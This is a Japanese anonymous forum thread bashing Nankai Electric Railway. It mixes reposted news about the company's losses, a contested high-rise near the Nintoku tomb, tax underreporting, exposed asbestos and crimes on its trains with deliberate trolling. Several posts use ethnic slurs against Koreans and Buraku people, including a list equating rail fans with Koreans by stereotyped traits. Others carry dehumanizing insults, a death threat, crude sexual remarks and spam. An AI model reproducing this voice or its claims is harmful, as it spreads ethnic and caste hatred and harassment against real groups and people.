年よりも収益が減っているのも確かですが南海の場合、業績不振の観光事業子会社を整理したり、希望退職者への割増退職金などを特別損失として約二百億円計上したことが大きかったようです。それでも、これだけなら本来な
ら経常段階でも赤字転落は免れなかったんですが、難波地区の再開発用地の一部を民間都市開発推進機構へ売却して、その売却益でかろうじて黒字にしているという状態なんです」（在阪の経済誌記者）実際、グループ会社も含
めた連結決算ではもっと惨憺たる結果が出ており、連結の売上高でも当初予想を八十億円下回り、最終損益では二十四億円の赤字となっている。前期はかろうじて三億円の黒字をキープしたが、連結での赤字転落はA連結決算を
公表して以来、初めてのことだという。こうした厳しい状況もあってか、労使間の対立も以前にも増してかなり厳しい状況になっているようで、その余波なのか、昨年春以降、経営陣を批判する怪文書も出回って、関係者の注目
を集めているのだ。南海電鉄、堺に１４８メートルのマンション計画仁徳陵を一望、住民「景観壊す」堺市内に建設が計画されている高さ約百四十八メートルの超高層マンションから、国内最大の前方後円墳の仁徳天皇陵（堺区
）が“丸見え”になることがわかった。天皇陵との距離は約一キロ。同市は世界遺産登録を目指しているが、地元住民からは「景観悪化につながる」と建設反対の動きも。中には「天皇陵を見下ろすことに問題はないのか」の声
もある。建設主の南海電鉄は数回にわたり住民説明会を開いているが、景観論争の決着には時間がかかりそうだ。南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。四十二階と十五階の二棟
約五百戸で、平成二十一年三月のオープンを予定している。高さ約百四十八メートルは市内で最も高い建物となる。ただ、仁徳天皇陵からの距離は北西にわずか約一キロ。同電鉄不動産営業本部では「自然環境豊かな仁徳陵の眺
望は、最大のウリ」という。同電鉄では、計画を打ち出した昨年九月以降、二カ月に一度のペースで地元住民らに説明会を実施しているが、周辺住民は猛反発。天皇陵を含む百舌鳥古墳群の世界文化遺産登録に向け、マンション

建設が水を差すというのが主な理由だ。地元住民で建設に反対する上村雄彦・大阪府立大名誉教授は「明らかに景観を破壊しており、建設を中止しなければ世界遺産登録はありえない」と指摘。ユネスコ（国連教育科学文化機関
）は、世界文化遺産のケルン大聖堂（独）の周辺で高層ビル開発の計画が持ち上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。住民らは今月二十日にも建設中止を求める要望書を市に提出する予定だが、
市建築都市局は「古墳の周囲には、低いながらもすでに家やマンションが建っている。現場に高さ制限はなく、建築基準法をクリアしていれば問題ない。堺の中心地に人を呼び戻す絶好のチャンスと期待している」。ttp://www.
sankei.co.jp/news/060419/evening/20iti001.htm★★★★★★★★★★★★★★★★南海電鉄、単体209.45億円の赤字転落★★★★★★★★★★★★★★★★南海電<9044.OS>：中間単体、05年9月当期赤字転落209.45億円、06
年3月見通142億円の赤字2005年11月15日火曜日14:23JST［東京１５日ロイター］2005年9月(2005年4月1日-2005年9月30日)注)カッコ内は前年比、△は赤字05年9月中間期04年9月中間期06年3月期見通05年3月期実績売上高（百万円
）35,61851,77570,200100,025(-31.2%)営業利益（百万円）6,7908,914(-23.8%)経常利益（百万円）3,4903,4383,0005,988(+1.5%)当期利益（百万円）△20,9454,963△14,2005,490１株利益（円）△39.909.45△27.0510.45発行済
株式総数(千株）524,859525,266１株配当（円）0.000.00--4.00ttp://today.reuters.co.jp/stocks/FinanceArticle.aspx?view=CN&symbol=9044.OS&storyid=64783+15-Nov-2005+RTRS★★★★★★★★★★★★★★★★南海電鉄
、連結192.45億円の赤字転落★★★★★★★★★★★★★★★★南海電<9044.OS>：中間連結、05年9月当期赤字転落192.45億円、06年3月見通110億円の赤字2005年11月15日火曜日14:23JST［東京１５日ロイター］2005年9月(2005
年4月1日-2005年9月30日)注)カッコ内は前年比、△は赤字05年9月中間期04年9月中間期06年3月期見通05年3月期実績売上高（百万円）91,09099,560192,000196,210(-8.5%)営業利益（百万円）12,71910,682(+19.1%)経常利益（百

万円）7,4384,79110,0009,470(+55.2%)当期利益（百万円）△19,2456,616△11,0007,737１株利益（円）△36.7312.65△20.9614.79営業活動ＣＦ（百万円）17,98220,236ttp://today.reuters.co.jp/stocks/FinanceArticle.aspx?
view=CN&symbol=9044.OS&storyid=64776+15-Nov-2005+RTRS借入金は時価総額などと比べると実情が比較的表れます。南海借入金残高２６８，５８３百万円時価総額２２８，９８９百万円１１７．３％（時価総額に占める借入金
割合）阪急借入金残高５００，０２６百万円時価総額６７２，６５０百万円７４．３％阪神借入金残高１３４，７７４百万円時価総額３９６，３５３百万円３４．０％近鉄借入金残高４６９，６９８百万円時価総額７５９，６８
１百万円６１．８％京阪借入金残高１１４，１６４百万円時価総額２３９，９４７百万円４７．５％こう見れば各社の状態がわかる。南海は借入金が企業規模の割には大き過ぎるる上に金利が高い。一線を越えてしまっている。
近鉄も注意を要するが南海ほどでもない。京阪は底を脱したのが鮮明に。阪急は借入金はやや多いが金利は安く抜群の収益力でカバー。堅実派として名の通る阪神は借入金は元から少なめ。金利は高いが収益力を考慮すれば問題
はない。これでは社債は金利を高くしないと厳しいだろう。南海の運転ミスによる情けない事故の歴史●男里川事故…踏切でトラックと衝突して川へ転落後で運転士が自分の子供を抱えながら運転していたことがバレて大問題に
●羽倉崎事故…回送車両が車止めを越え更に道路向かいの仏壇屋へ特攻担当の入換運転士曰く「天気が良かったので空に見とれていたら（ｒｙ」●住ノ江事故…同じく回送車両がATSを切った状態で冒進、高架下のプールにダイ
ブ未遂この運転士の言い訳は「急いで帰りたかった」＜住んでみたい街（関西）トップ10＞に、南海ヲタご自慢の「帝塚山」をはじめ南海沿線の街が１つも出てこなかった上、トップ10の街すべてを阪急沿線に独占され、阪急に
お話にもならない惨敗を喫した南海wしょせん、スラム街の南海沿線なんぞに住みたいなどというバカでキモい奴など、南海ヲタ以外には存在しないということが改めて証明された（ﾌﾟｹﾞﾗ住んでみたい街（関西）トップは「芦屋

」ソースttp://allabout.co.jp/house/townkansai/closeup/CU20060925A/現在の会社の経営状況があまりにもひどすぎるので、せめて現実逃避しようと旧塗装撮影会でシコシコとオナニーした、情けない赤字南海&南海ヲタおら
あああ！！モギャ！∧＿∧―＝≡三∧＿∧＼从从//／（´∀｀）三≡＝――＝≡三と（#´∀｀）つ''"´"∧_ﾉ；*;''"´"''::;:,（阪急つ三≡＝――＝≡三ヽ阪和線￣⌒)＞д(;;;((⌒￣￣￣＿）三≡＝――＝≡三//￣￣´"'''⊂;;；
#':*,'´''::;;;;::'''"´￣ヽ＼三≡＝――＝≡三＼__）;／／／（_,､｀^)^)＼＼＼（_＿）三≡＝―↑赤字南海赤字南海ヲタが阪急萌えを自白「べっ別に阪急が好きだからこのスレに常駐してるんじゃないんだからね！」弱小私
鉄の一つ、大阪は小便臭い難波とガラの悪い泉州・田舎臭い和歌山・観光客激減の高野山・JRに完敗の関空を結ぶ日本最低の私鉄南海電気鉄道の本線・高野線(ウォッチ以外)・高師浜線・多奈川線・加太線・和歌山港線・過去の
廃線区間について語りましょう。なお、このスレは鉄道路線・車両板掲載の板のため、南海関係でもスレ違いの話が発生します。スレ違い・板違いにならないように、重々お気をつけない。荒らしは歓迎。煽り推奨！聞き分けの
ある珍作さんは出てきても(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。どうせ珍作さんはコピペばかりで似たような事しか言いません。(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。他スレから変なものをコ
ピペしてきたり、既出のものを何度も挙げるのも歓迎。何度もやってる珍作さんは(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。ガイドラインを守りたくない人は新規にスレを立てない。立てたら荒らす。なお、分かっ
て荒らしている珍作さんは(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。流行語３語と成分分析の使いすぎには注意しない。「使い方を間違えてる人」は(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。主なガイ

ドライン(お約束)・各種リンク、過去ログ、既出質問やくだらないネタは「まとめサイト」に掲載しています。わざわざスレッドに貼り付けるの絶対歓迎。で？今日はどっちで酉やるんだよ。>25ああ見えてもﾁｿｶｽはツンデレな
んだよ。「べっ、別に南海のことが嫌いじゃないんだからね！たっ、ただ赤字が続いたりぼろい車両走らせてたら本当にお客さんに見放されるんだから！本当に倒産されたら迷惑なだけよ！」南海はぼろい南海はぼろい南海はぼ
ろい難波２２時１０分発のサザンが和歌山港−和歌山市間の信号故障で上り電車が定時に難波に到着できず４０分遅れ。おかげで様で和歌山市民は寒空の下、みさき公園で足止め大量放置プレー中。仕方なく２２：１３の区急み
さき公園行きに乗ったが、車掌は和歌山方面利用者へのお詫びアナウンスもなし。終わってるなこのクソ会社。大手私鉄の中で、南海が一番経営が厳しいんだってさ在日の味方南海（笑）市駅行ったらお前にあえるの？今紀ノ川
閉鎖するけど鳥やるん？232だけど、一部指定なら尾崎から乗ればいいーでない？しかし加太線の11時台減ったのは痛いな。それに2330の区急な乗っても加太線がない。終電あたりの接続なんとかならんか。あと泉佐野で10分と
まる区急よ。何とかならんか259加太線利用客は杉谷を始めとする学生やジジーババーサラリがのるんだ。大阪まで行く大半が加太線。紀ノ川が市駅になる話しはどうやった紀ノ川橋わかけかえる話しどうなった基地外社長さん
よ>269＞1日当たり6000人の乗降を見込む新駅作って需要はこれだけ？ショボすぎ>273関空といい神戸空港といい出生率といい、目標値を示して果たして上手くいったためしがどれだけあるのかい？「１万人」なんかしょせん官
のはじき出した希望値。衰退激しい和歌山じゃあ、「６千」どころか、「１万」の半分にもいかないな。

パッセンジャーアテンダントって、昔こうや号は違う名前だったような気がするのですが、
何でしたっけ？

南海利用客＝貧乏人経営難南海保守age

>364そんなの“Ｎ２３３−０００１”でいいじゃん

>385ちゃうちゃう。一般人は鉄ヲタと違って、車両の実際の年式の古さよりも、見た目の古さの方を重視するのさ。だから、外見から古さを全く感じさせない阪急よりも、南海のようにあからさまに古くさい片開きドア車がバン
バン走り回ってる方が、余計に印象が悪くなるわけ。

赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤字字字字字字字字字字字字字字字字字字字字字字字字字字字字字字字字字字字字字字字字字字字南南南南南南南南南南南南南南南南
南南南南南南南南南南南南南南南南南南南南南南南南南南南海海海海海海海海海海海海海海海海海海海海海海海海海海海海海海海海海海海海海海海海海海海下品な南海電車

南海は経営難

南海はﾎﾞﾛばっかり

☆ﾁﾝ☆ﾁﾝ〃∧＿∧／￣￣￣￣￣￣￣￣￣￣￣￣ヽ＿＿_＼（＼・∀・）＜南海倒産まだぁ〜ﾏﾁｸﾀﾋﾞﾚﾀ＼＿／⊂⊂＿)＿＼＿＿＿＿＿＿＿＿＿＿＿＿／￣￣￣￣￣￣￣／||￣ ￣￣￣￣￣￣:|||.|／大阪がヤクザと暴力団とチンピラ
の街だという印象が強いのは、すべて南海沿線のせい南海沿線は昔から治安も悪い客層最悪の南海

南海は、早く倒産してくれ南海は阪急に吸収合併をきぼんぬ。

南海電鉄、ウィキペディ糞でもボロクソに叩かれてるな。

／／ヽ,'／／,.,.''､./,.',,.'///ヽ,',／￣./〃///!ｌ',',、',!／,','{{iｌ{',ヽ.',|ｌl||oｌ/|',!',!lΛlヽ{＼ヽ!|llｌ|||／|'lヽ｢ヽト､{_＼{｀＞¬､ﾍ｢ｉ}ll|{||／',.l＼y=＝＝=x___z=＝＝=x|ｌハ!!jゞ|o＿＿＿＿__ヽl{}
}⌒{{[二]�處,ﾊﾉ/___,ノ|／＼＼!ハ.＿＿__丿ヽ●南海|/イ// ￣｀ヽ|／ゴた民|l{Λ'__｀￣￣ﾉ/,'／|ミっ度｜',',ｉiヘ、´///{|・ね.た.：.|ヽヽ',｀ヽ､,.'´/,.イY｀ヽ|・：の：＼_.＼ﾍ_〕¨´／´／.:ﾊ.|・：1：/⌒ﾞ｀__,.ノ
／!／.:.／:.'、＼：|／//,∠_／.:.:.:.:.:.:.:.:.:.:.＼＼＿：|/:.:///_ヽ..／.:.:.:.:.:.:.:.:.:.:.:.:,.-‐＼＿＿＿＿__,／,':.:///-､｀ヽ／.:.:.:.:.:.:.:.:.:.:.:.:／／⌒｀ヽ／{:.〃/ﾞ／.:.:.:.:.:.:.:.:.:.:.: ／
／.:.:._／⌒ﾞ!

南海

荒れてる

大阪

こんな底辺路線南海じゃまだまだ阪急の足元にも及ばんなww

次回南海都市伝説絵巻第40話8200の叫び声俺はまたまだ走るんだー！！乞うご期待

たまにはage

たまにはsage

>26ああ見えてもﾁｿｶｽはツンデレなんだよ。「べっ、別に南海のことが嫌いじゃないんだからね！たっ、ただ赤字が続いたりぼろい車両走らせてたら本当にお客さんに見放されるんだから！本当に倒産されたら迷惑なだけよ！」t
tp://hobby9.2ch.net/test/read.cgi/train/1143382864/840次回南海都市伝説絵巻第41話さらば８２００系君の英雄は一生忘れない乞うご期待！！！【南海ｦﾀの特徴】【朝鮮人の特徴】・あつかましい・あつかましい・顔がでか
い・顔がでかい・感情の起伏が激しい・感情の起伏が激しい・金に汚い・金に汚い・きもい・きもい・暴力的・暴力的・単細胞・単細胞・声が大きい・声が大きい・地元に異常な誇りを持っている・自国に異常な誇りを持ってい
る・阪急をライバル視している・日本をライバル視している・阪急沿線の発展ぶりに嫉妬・日本の発展ぶりに嫉妬・歩く速度が速い・歩く速度が速い・派手好き、化粧が厚い・派手好き、化粧が厚い・生まれつきヤクザ的性質・
生まれつきヤクザ的性質・犯罪が多い・性犯罪が多い┏━━━━━━━━━━━━━┓┃<丶｀∀´>のなまえは？┃┗━━━━━━━━━━━━━┛.┏━━なまえ━━┓.┃南海ｦﾀ┃.┃￣￣￣￣┃┏━━━━━━━┻━━━━━
━━━┓┃あいうえおはひふへほ.┃┃かきくけ.こまみむめも┃┃さしすせそやゆ.よ┃┃たちつてとら.りる.れろ┃┃なにぬねの.わをん┃┃っ.ゃ.ゅょ゛゜もどるl>おわり┃┗━━━━━━━━━━━━━━━━┛>159泉州の
常識、阪急沿線の非常識おはようくそやろうどもミニスカ目の前にあっておっきした次回南海都市伝説絵巻第42話8200系がVVVFに恋をした乞うご期待>154>160在日の味方南海（笑南海沿線はﾁｮﾝ、同和、ﾔｸｻﾞの街人が住むところ

じゃないそんな俺の嫁さんは南海沿線出身南海ｦﾀは人間のクズ。獣以下の存在だ。>223すっつれ〜ねハイヒールりんごやおっさんちゃうぞ今日の南海都市伝説絵巻のタイトル何にしようかなーwyxettp://www.uploda.org/uporg66
5355.jpg.html次回、南海都市伝説絵巻第43話南海初の界磁チョッパ制御車登場！童貞ブサイク無職包茎の南海ｦﾀこのスレみてから南海沿線に住んでることが恥ずかしくなってきたどこかいい街があったら引越してえ〜泉州河内
は除く南.海.は.ボ.ロ.イ次回、南海都市伝説絵巻第44話ttp://img.blogs.yahoo.co.jp/ybi/1/71/24/taishi5577/folder/1042821/img_1042821_19760296_11?2006-07-08汚物ＶＳ汚物乞うご期待！さっき岸和田でDQN工房とオッサ
ンが喧嘩してたが何があったんだ？南海、宅地開発大失敗（´,_ゝ｀）ﾌﾟｯ◆◇◆◇◆南海電鉄、不動産評価損２００億円旅館など７社解散へ◆◇◆◇◆南海電気鉄道は２５日、造成を当面凍結する分譲用地の評価損約１９８億円
を計上し、０７年３月期の当期利益見通しを７８億円から２３億円に下方修正した、と発表した。経営難の子会社など７社の解散も併せて明らかにした。同社は、沿線の和歌山県橋本市で開発を進めてきた「南海橋本林間田園都
市」（計画面積約６６８ヘクタール）の新たな造成を凍結、７０年前後に取得した山林約２００ヘクタールの評価を見直した。同都市の計画人口は約４万２０００人だが、現在は約１万２０００人にとどまっている。解散を決め
たのは、昨年末で大阪市での営業を終えた「ホテル南海」、今月末でフェリーの運航を終了する「南海淡路ライン」、和歌山市の旅館を３月に地元企業に売却する「萬波楼」など。林間で儲かる見込みはもう無さそうだな次回南
海都市伝説絵巻第45話迫る南海地震の日！7000が都市伝説になる日>416また 、ラガールショップのアズナス小型店舗置き換えがうまくいった阪急さんのパクりですか！？南海がいつも阪急のやり方を平気でパクるのは、南海が
朝鮮半島の血を受け継いでいるから。

アンスリー連合の３社って、阪急の成功例を後から真似してパクるだけで、自分達で考えてビジネスを立ち上げる能力がまったく無い会社だから、阪神は阪急に事実上買収され、京阪はついこの間まで東証に上場できず、南海に
いたってはいまだに東証に相手にすらしてもらえないんだよなw阪急沿線の偉大なる高品質な町並みと住民は南海沿線には汚くて行きたくありません。未だにオンボロ片開き扉車が主力の情けない南海未だに関西大手私鉄で東証
一部に上場してない情けない南海南海の乗り心地は関西一悪いと友人が言っていました。阪急マンセー！！南海の駅が汚いのは今に始まったことじゃないからねえ。南海のアイデンティティーは駅のボロさにあり。

関西人同士の争いは醜いね。もう少しがんばれよ。関東では見られないな。

次回南海都市伝説絵巻第46話さらば次回南海都市伝説絵巻第46話さらば南海フェリーｳﾜｧｧ━━━━━━━━━━━｡ﾟ(ﾟ´Д｀ﾟ)ﾟ｡━━━━━━━━━━━ﾝ!!!!また会う日まで

南海がどうしようも無いクズであることには変わりない。

南海は関西の恥28：異邦人さん：2007/01/28(日)22:03:50ID:ykqos+Y1正直個人差もあるだろうけど、南海はあまり好きじゃないな。まず、運賃だけじゃロングシートの列車にしか乗れない。その点JRだと運賃だけでも関空快速
は絶対転換クロス。あと南海の難波駅がやや他の駅と離れているのがマイナス。構内の移動ならいいけど、駅と駅の移動だと嫌だな。あと、昔に関空ができた頃は姫路から関空へ直通する列車もあったな、山陽本線沿線から新大
阪で折り返して貨物線経由で関空へ行く。あれは神戸空港完成でもう走らないんだろうな。個人的は楽しいと思うけど、１回乗ったけど殆どがヲタだらけ。25：異邦人さん：2007/01/27(土)11:13:03ID:iYrlKkNh「梅田から」と
いう条件だと、重いスーツケースやら持ってわざわざ乗り換え回数増やしてまで南海に乗りに行くのは面倒。鉄道マニア以外にわざわざそんなことするやつは皆無。22：異邦人さん：2007/01/25(木)22:38:25ID:PnMyIxKs>1あち
こちの掲示板で伊丹叩きして回り、荒らしまわった挙句、サイトから追い出されてしまい孤立する。伊丹−成田の関空シフトは無いし、伊丹が格下げされる事も無い。近いうちに国内長距離便（北海道・沖縄方面）は増便される
。関空の不同沈下は修復できても収束しない。市場原理、時代の流れで伊丹は再国際化する。もう諦めろ。

wyxettp://love.freedeai.com/src/up1858.jpg南海都市伝説絵巻第47話高野山に眠るモノたちの叫び乞うご期待！

保全

nankai

今度関空に行くとき、南海に乗ってやろう。もちろん、南海ごときに金を落とさないよう、切符は難波駅前の金券ショップで買うけどな。>646南海で関空なんて南海沿線住人じゃないと使う人間は少ないと思う。やあ（´・ω・
｀)ようこそ、南海都市伝説絵巻次回予告へ。この次回予告ははサービスだから、まず見て落ち着いて欲しい。うん、「また」なんだ。済まない。仏の顔もって言うしね、謝って許してもらおうとも思っていない。でも、この予
告を見終わったとき、君は、きっと言葉では言い表せない「ときめき」みたいなものを感じてくれたと思う。殺伐とした世の中で、そういう気持ちを忘れないで欲しい、そう思ってこの予告を作ったんだ。じゃあ、次回予告をい
ってみようか。゜゜゜゜゜-y(´Д｀)。o0○ﾌﾟﾊｧｰ次回、南海都市伝説絵巻第48話高野山へ到着！精進料理で和みを極めろ乞うご期待！本日限りガラの悪い悪名高き赤字線の南海線は廃止致します。長い間ご利用ありがとうござい
ました。南海電気鉄道次回南海都市伝説絵巻第49話さらば高野山、幻想の旅は続く乞うご期待！泉佐野、実際に見てきたけど、やっぱり規模縮小で、もうホームはできな>いみたい。見たけど、縮小してるじゃん？？？ｗｗｗホ
ーム増えないだろ>775どこがいいんだ。最近の何回はラッピングの話題が多くて萎える。おまけに31000系以降の南海のセンスが無さ過ぎるから余計に萎える。南海落ちたなwww南海はボロい泉佐野ホームできないってさ。杉谷が
いってた次回南海都市伝説絵巻第50話ラピーンに仲間登場乞うご期待831テメーがしねザコぶっ殺すぞttp://www.jtw.zaq.ne.jp/sugitani/photo.files/photo.jpg終わりっぽくないか？大阪梅田から関西空港へは、最近では専ら
、高速バス。以前は、大阪駅から関空快速に乗って、関西空港に向かい、海外へ出国していた。梅田方面から関西空港へは、この、７，８年でＪＲから高速バスに移った人が激増した。以前は、高速バスは渋滞に巻き込まれたり
、天候の急激な変化で、敬遠されていた。今では、関空快速利用よりも高速バス利用の方が、渋滞に巻き込まれなければ、時間の節約になる。料金も関空快速よりも高速バスの方が若干、安いくらいだ。高速バスより関空快速が

不利な点も多い。大阪環状線や阪和線は複線電化区間で複線区間の割に輸送力が限界に来ている。また、大阪環状線や阪和線は通勤電車の他に、通常の快速電車や、関西空港方面以外の特急電車も頻繁に走っている。また、停車
駅が関空快速の場合、割と多く、ダイヤによっては、特急電車の通過待ちを強いられることも少なくない。最悪の場合、関空快速と言っても、日根野までは関西空港利用者だけでない利用客も紛れ込んで乗車するので大型スーツ
ケースを持って、海外に出かける旅行客にとっては苦痛を強いられる場面も多くなっている。それでも、関東の成田国際空港に向かう成田エアポート快速電車に比べると、「それでもマシ」ではあるが。大阪環状線の複々線は無
理な話にしても、阪和線区間の天王寺から日根野までの区間は複々線区間にするべき。関空快速や関空特急「はるか」、新宮に向かう「くろしお」と通勤電車である普通電車と快速電車のバランスは非常に難しくなる。大阪環状
線と阪和線の輸送力の問題点をクリアしないと、関空快速や「はるか」、南海電車の関西空港方面電車は高速バスに乗客を奪われるばかりの状態に陥るよ北摂から関空へ行く場合、南海を使うおバカさんはいない。大きな荷物を
引きずっている以上、JR乗り継ぎかバスが当たり前。>881ＪＲ乗り継ぎも一般的。北摂在住の俺が言うんだから、間違いない。ただし、どう転んでも南海利用はあり得ない。南海ヲタの人生には夢も希望も無い生きていても何も
成し遂げられない嘘と妥協と自己欺瞞にまみれながら偽物の罪悪感を感じ、誤魔化す為に偽善を行う南海ヲタはこの先、何があっても変わる事が出来ない人間の本質は絶対に変えられないクズはクズのまま、どれだけ誤魔化して
も結局はクズのまま今日から生まれ変わる、明日から変わる、そんな事は起こらない産まれてきてしまったから、ただその場その場で選択しその場その場の自己を優先し、未来を見つめず、過去を戒めず、ただ生きているだけの
お前の存在は死後、跡形も無く消え去りこの世に自分の生きた証を立てられず、この世に自分の生きた影響を残せずいつからか全ての人間の記憶から消え去り、永遠に無くなってしまう次回、南海都市伝説絵巻第50話ttp://pand

ora.nu/poppoya/traing/senboku3000.jpg君はこれを見て何を思うの巻乞うご期待1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤
字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南
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00なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産1000なら赤字南海倒産弱小私鉄の一つ、大阪は小便臭い難波とガラの悪い泉州・田舎臭い和歌山・観光客激減の高野山・JRに完敗の関空を結ぶ日本最低の私鉄南海
電気鉄道の本線・高野線(ウォッチ以外)・高師浜線・多奈川線・加太線・和歌山港線・過去の廃線区間について語りましょう。なお、このスレは鉄道路線・車両板掲載の板のため、南海関係でもスレ違いの話が発生します。スレ
違い・板違いにならないように、重々お気をつけない。荒らしは歓迎。煽り推奨！聞き分けのある珍作さんは出てきても(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。どうせ珍作さんはコピペばかりで似たような事しか
言いません。(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。他スレから変なものをコピペしてきたり、既出のものを何度も挙げるのも歓迎。何度もやってる珍作さんは(・∀・)ニヤニヤ笑いながら出来たら相手しましょ
う。ガイドラインを守りたくない人は新規にスレを立てない。立てたら荒らす。なお、分かって荒らしている珍作さんは(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。流行語３語と成分分析の使いすぎには注意しない。
「使い方を間違えてる人」は(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。主なガイドライン(お約束)・各種リンク、過去ログ、既出質問やくだらないネタは「まとめサイト」に掲載しています。わざわざスレッドに貼
り付けるの絶対歓迎。◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）◇◆◇◆◇南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の申
告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した
。関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして

重加算税の対象にしたという。また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp:
//news.goo.ne.jp/news/topics/index/02122/1.html◆◇◆◇◆減損処理で当期赤字に南海電鉄決算◆◇◆◇◆2006年05月12日南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円
、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html南海電鉄
アスベストむき出し南海電鉄によりますと、あわせて１３の駅で天井のはりなどにアスベストが使われており、中でも大阪市内と堺市内の６つの駅ではアスベストを吹きつけた部分が密閉されず、一部がむき出しになっていて、
薬品などで固定する措置も取られていないということです。このうち、１つの駅では、近く予定されている改築に合わせてアスベストを撤去しますが、ほかの５つの駅では撤去や密閉などの新たな措置は今のところ考えていない
ということです。これについて南海電鉄の総務部は、現状でもアスベストが飛び散るおそれはないとしており、アスベストがむき出しになっている駅がどこかは明らかにしていません。一方、大阪の大手私鉄、京阪電鉄によりま
すと、４つの駅で建物にアスベストが吹き付けられており、このうち、大阪・枚方市の村野駅の屋根の一部でアスベストがむき出しになっているということです。京阪電鉄でも、アスベストが飛散する心配はほとんどないとして
いますが、近く、撤去することにしています。このほか、近鉄でも５つの駅でアスベストが吹き付けられていますが、飛散しないように固定する措置を取っているため、健康上の心配はないとしています。ttp://www3.nhk.or.jp
/news/2005/08/02/d20050802000028.html◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆◆◆27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会でアイ

ススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけった。男児ははずみでホームに押し出され転倒。男はさらに引率者の会社員男性(40)の顔を殴ったが、男性にその場で取り押さえられ、高石署に暴行
と傷害容疑で現行犯逮捕された。調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。男児らは約70人のグループで電車に乗っており、藤本容疑者は「子どもたちがうるさかった」と供述しているという。ソース：朝
日新聞２月28日付朝刊35頁社会面◆◇◆◇◆運転士と車掌が女性監禁トイレで強制わいせつ◆◇◆◇◆23歳コンパニオンをトイレに監禁、体触る兵庫県警有馬署は２５日、強制わいせつと監禁の疑いで、南海電鉄運転士上野敦弘
（３４＝大阪府羽曳野市）、南海電鉄車掌喜多信也（３３＝和歌山県橋本市）の両容疑者を逮捕した。調べでは、両容疑者は共謀。５月２９日午後８時５０分ごろ、神戸・有馬温泉のホテルで、コンパニオン女性（２３）を男性
トイレに連れ込み施錠、体に触るなどのわいせつ行為をした疑い。両容疑者は「合意の上だった」と容疑を否認しているという。両容疑者は同期入社の社員十数人と有馬温泉に宿泊。宴会場でコンパニオン数人の接待を受け、２
次会でホテル内のバーに移動した。２次会ではコンパニオン数人の時間を延長して接待を受けていた。両容疑者は女性がトイレへ行くため席を立ったところ「ちょっと来て」と誘い、手を引っ張ってトイレに連れ込んだという。
両容疑者は約４０分間、女性をトイレに監禁し、わいせつな行為に及んだという。]同僚のコンパニオン女性が席に戻ってこない女性を心配し、男子トイレを外からノックしたが、反応はなかったという。６月上旬に女性が同署
に被害届を提出した。南海電鉄は「あるまじき行為。全社員への教育を徹底する」とコメント、両容疑者の処分を検討している。ttp://osaka.nikkansports.com/news/p-on-tp6-20060726-66186.html１１月２９日の社会面ニュー
ス）４少年が電車・駅で女子高生にわいせつ行為容疑で逮捕--------------------------------------------------------------------------------大阪府立高校の男子生徒３人を含む少年４人が、女子高校生に電車内などでわ

いせつな行為をしたとして、府警は２９日、いずれも同府岸和田市内に住む高校３年の男子生徒（１８）と会社員（１７）を強制わいせつ容疑で、１６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で
逮捕した、と発表した。少年らは、女子生徒が電車から降りた後、便所に連れ込んでわいせつ行為を続けたという。少年課の調べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園発難波行きの電車内
で、同じ車両に居合わせた女子生徒を隣に座らせ、２５分にわたって体を触るなどした疑い。女子生徒が乗り換えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレに連れ込んで約１
０分間、わいせつな行為を続けた疑い。高１の２人は電車内ではやし立てたり、トイレ外側で見張ったりして２人を助けた疑い。同課によると、女子生徒は電車内で「やめてください」などと助けを求めたが、当時車内にいた数
人の客は助けようとしなかった。車掌や駅員も気づかなかったという。少年４人は遊び仲間で、女子生徒とは面識がなかった。ttp://www.asahi.com/kansai/news/OSK200411300005.html■「世界遺産登録に“超高層”の影」2006
/05/23放送（長文のため一部省略）この４月に関西で４番目、全国で１５番目に政令市となった大阪府堺市が、再開発問題で頭を痛めています。超高層マンションで駅前を一気に活性化しようというものなんですが、堺市が世界
に誇る歴史遺産の未来に暗い影を落としているんです。しかし去年９月、竹川さんの耳に信じられないニュースが飛び込んできました。なんと４５階建て、高さ１５２メートルのタワーマンションが建つというのです。世界遺産
